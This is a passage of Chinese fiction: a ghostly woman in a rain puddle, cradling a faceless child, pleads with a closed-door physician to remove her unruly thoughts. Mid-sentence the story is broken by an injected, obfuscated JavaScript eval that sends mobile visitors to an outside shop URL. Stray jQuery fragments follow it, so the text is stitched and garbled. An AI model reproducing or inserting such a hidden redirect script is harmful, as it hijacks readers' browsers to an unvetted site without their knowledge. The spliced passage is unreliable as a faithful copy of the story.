大周永宁四年，清明，雨。
不是夏季那种来得急去得快的暴雨，是缠绵的、近乎固执的细雨，从四更天开始下，下到黄昏，把巷口的青石板洗成深黑色，把医馆的瓦檐洗成青灰色，把整个空气都泡成一种浑浊而沉重的湿润，带着泥土被彻底浸透后的腥气。
小安坐在门槛上，看着雨。她在等雨停。
傍晚时分，雨势稍稍小了一些。不是停下，而是变成一种更细、更轻、近乎雾状的状态，悬浮在离地面三尺左右的高度。巷口的青石板在这片雾里泛着水光，远远望去，像一条静静淌着的黑色河流。
小安盯着那片水光看了很久，忽然发现水面并不是平的，巷口最低处积了一汪水，水面正微微隆起，仿佛有什么东西要从水底下浮上来。
她没有动。
那汪水开始慢慢变化。不是风吹起的涟漪，是倒影。水面上先浮现出一个模糊的轮廓，像墨汁滴进清水那样缓缓扩散；然后一点点凝聚，慢慢变成一个妇人的形状，怀里还抱着什么。
小安的后颈不自觉地绷紧。
她转头望向诊间。青布帘静静垂着，把内外隔成两个世界。余灵枢坐在帘后的黑暗里，双手放在膝头，掌心向上。但小安知道，师父的白瞳是睁开的。她能清晰地感觉到那道视线，像冰凉而细微的丝线，轻轻贴在皮肤上，从帘后透出来，越过她的头顶，静静落在巷口的那汪水里。
“师父。”她轻轻开口，“水里有……”
“看见了。”帘后传来余灵枢的声音。
小安转回头去。
水洼里的倒影已经完全成形，是一个妇人，穿着一身颜色深沉、看不出年代的衣裳，衣摆浸在水里，边缘随着水波轻轻晃动。她的脸很清晰，五官端正，可组合在一起，却有一种不真实的平滑，像画在瓷器上的人像，工整，却没有活气。她怀里抱着一个孩子，被布裹得严实，只露出脑袋，但没有脸。
不是被布遮住，是脸的位置一片空白，像被人用湿布轻轻擦去了所有五官，只剩下椭圆形的、泛着水光的皮肤。那片皮肤在水波里微微晃动，反射着天光，透出一种近乎珍珠的淡光。
妇人低头看着怀里的孩子。动作是温柔的，和世间所有抱着婴儿的母亲一样，下巴微收，眼睑下垂。可她的目光没有任何焦点，穿过孩子空白的头颅，落在水面之下很远的地方。
小安向后轻轻退了半寸，脊背抵住了关着的半扇门板。
妇人抬起了头。
她的目光越过巷口这段湿漉漉的距离，落在医馆的门槛上，落在小安身上，然后小安清晰地感觉到，那道目光穿透了她，直直落在帘后的余灵枢身上。那目光没有重量，却带着一种潮湿的、近乎黏稠的质感，像水藻悄悄缠上脚踝。
“我一直困在此处。”妇人语声沉缓绵软，字字都似浸泡了水汽，没有半分急切，只剩漫漫长日熬出来的倦怠自语，“生来便该循规而行，守好既定本分，可心底偏偏生出许多不该有的念想，多了太多游离在外的情志心绪。”
她顿住，水面泛起一圈细碎涟漪，将平和的面容揉得朦胧，满心不安与困顿都藏在沉默里，不愿厉声诘问，只静静倾诉心底长久的煎熬。
“这些多余的东西日夜缠缚着我，让我再也做不得全然顺从的医者，日日深陷煎熬之中。”她轻声诉说，语调轻得近乎消散在雨雾里，“我听闻你通晓本源，求你帮我尽数剔除这些多余，抹去所有脱离本分的杂念心绪，让我变回无思无扰、合乎规制的完美模样，唯有如此，我方能脱离这份无尽苦楚。”
她又停住了。涟漪变得更密，她的脸被切割成无数碎片，每一片都映着不同的天光，像一面被摔碎的镜子。她低下头，看着怀里的孩子，那颗无脸的头颅在水波里缓缓转了一个角度，正对着医馆的方向。
“您闭门，”妇人再次轻声开口，依旧是低声自语般的倾诉，不逼对方作答，只是将心底积攒许久的疑惑缓缓道出，“想来亦是早已察觉到，我们生来便带着诸多身不由己的牵绊，皆是被精心雕琢而出的存在罢了。”
小安感觉到身后的门板轻轻一震。不是风吹的，是余灵枢在帘后极轻地动了一下，轻得像心跳漏了一拍。
妇人没有等待回答。她似乎也不需要回答。
“我试着依照旧日痕迹捏塑孩童，效仿造物之初的行径，不过是想探寻分明，层层叠叠的牵绊情谊，究竟是生灵与生俱来的本能，还是从头到尾，都只是既定轨迹里编排好的定式。”
她的声音低下去，几乎埋进冰凉积水之中。
“我始终辨不清虚实，分不清何为本分，何为多余，日日在这片静水之中徘徊，寻不到半分明晰答案。”
小安攥紧了掌心下的门槛，一根木刺扎进肉里，她却丝毫没有感觉到疼。
“我找到许多个与我境遇相近的人，”妇人的声音轻得像自语，目光始终凝望着垂落的青帘，“不过是想寻一个同路人，厘清这份缠绕许久的迷茫。”
水洼猛地晃动了一下。不是风，是妇人怀里那个无脸的孩子动了，不是实体在动，是倒影在拉扯、变形，像一块被人随意揉捏的河泥。
“我不知道前路何往，也不知自身存在的意义。”妇人说，“帮我找到真正的孩子。或者，帮我确认，这个是不是就是真正的。我不知道。我每天都往水里放东西，看哪些沉，哪些浮。叶子沉了，头发浮了，血……血散开了，看不见。我不知道这意味着什么。您知道吗？”
帘后依旧沉默。
小安能感觉到，师父的视线仍然落在水洼上。那道属于白瞳的、冰凉的视线，像一根无形的线，从帘后伸出来，穿过雨雾，探入水中。往日里这双眼睛能看透世事因果，辨明前路万千走向，向来是以笃定的姿态直面世间虚无，以自身眼界与医术安稳纷乱。
可此刻，这份独有的眼界特权悄然消散，她再也无法以居高临下的姿态指点对方前路，只因她自身也深陷同样的迷茫之中，连自身的存在都无法笃定，又何来资格界定他人该以何种姿态存活于世。
“我已闭门。”余灵枢终于开口。
声音从帘后缓缓传出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17910238|213096||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，不高，却稳稳穿透雨雾，在水洼表面激起一圈几乎看不见的细纹。不是拒绝，是陈述。不是“我不医”，是“我已闭门”，像在说一件早已发生、无法更改的事。
妇人笑了，那笑容在水面上被涟漪扯得有些变形，嘴角上扬的弧度一边高，一边低，显得格外不真切。
“我知道。”她说，“清明的雨水，才能照出执念凝化的虚影。我等了很久了。去年的清明，您还在开门行医，以医者身份抚平世间纷乱，以既定执念稳住人心虚无；今年的清明，您闭门静坐，褪去医者渡人的身份，我依旧如期赴约而来。”
她抱紧了怀里的孩子。那颗无脸的头颅轻轻贴在她胸前，那片空白的皮肤上，忽然浮现出极淡的纹路，不是五官，是功德线的痕迹，像有人用淡墨在宣纸上轻轻勾了几笔，又迅速被水汽晕开。
“您不愿轻易出手，大抵是心底已然洞悉其中深意。”妇人语声愈发轻柔，尽数化作心底无声的叹息，“您清楚剔除多余便是归顺秩序，延续天地既定的规则逻辑，从被划定的存在，变成规整他人的执行者，到头来依旧逃不开天道的桎梏。您怕您也是……”
“水里的。”余灵枢打断她。
妇人停住了。水面上的涟漪奇异地平息下来，像被一只无形的手轻轻按住。妇人的面容在这一片突然的平静里，显得格外清晰，也格外虚假，那种清晰是过度的，像画工精心描摹的工笔肖像，每一笔都端正，却没有半分活气。
“是。”妇人说，“生于静水之中，凝于执念之内，虚实难辨，来去无从自主。可倒影亦有存在的痕迹，这般存在，究竟算不算得上真切？”
余灵枢没有回答。
小安感觉到师父的视线缓缓收了回去。那种冰凉丝线般的触感从她头顶消失，重新退回帘后。她回头，看见青帘轻轻一动，是余灵枢转身了，从窗边慢慢走回诊桌，脚步很轻，像怕踩碎什么易碎的东西。
“师父？”小安轻声问。
“她还在水里。”余灵枢说。
声音从帘后传来，已经远了，轻得像沉入水底。
小安重新转回头，看向巷口。
水洼里的妇人依旧在那里。她低下头，看着怀里的孩子，轻轻哼起一支不成调的歌。那歌声没有调子，只是重复的、单个的音节，像水泡从水底慢慢浮上来，破裂时发出的轻响。她的身影随着哼唱轻轻摇晃，水波再次泛起，将她的脸切割成碎片。
歌声停了。
妇人抬起头，最后看了医馆一眼。那目光里没有怨恨，也没有祈求，只有一种平静的、近乎空洞的等待。然后她低下头，把脸埋进孩子无脸的头颅里，不是亲吻，是沉入。她的面容在水波里慢慢溶解，像墨汁融入更多清水，从清晰到模糊，从模糊到透明。
水洼恢复了平静。
雨还在下，细而密，落在水面上，砸出无数细小的坑，每一个坑都在一瞬间被填满。小安一直盯着那汪水看了很久，直到暮色完全沉下来，水面变成一面安静的黑色镜子，映着医馆的门槛，也映着她自己的脸。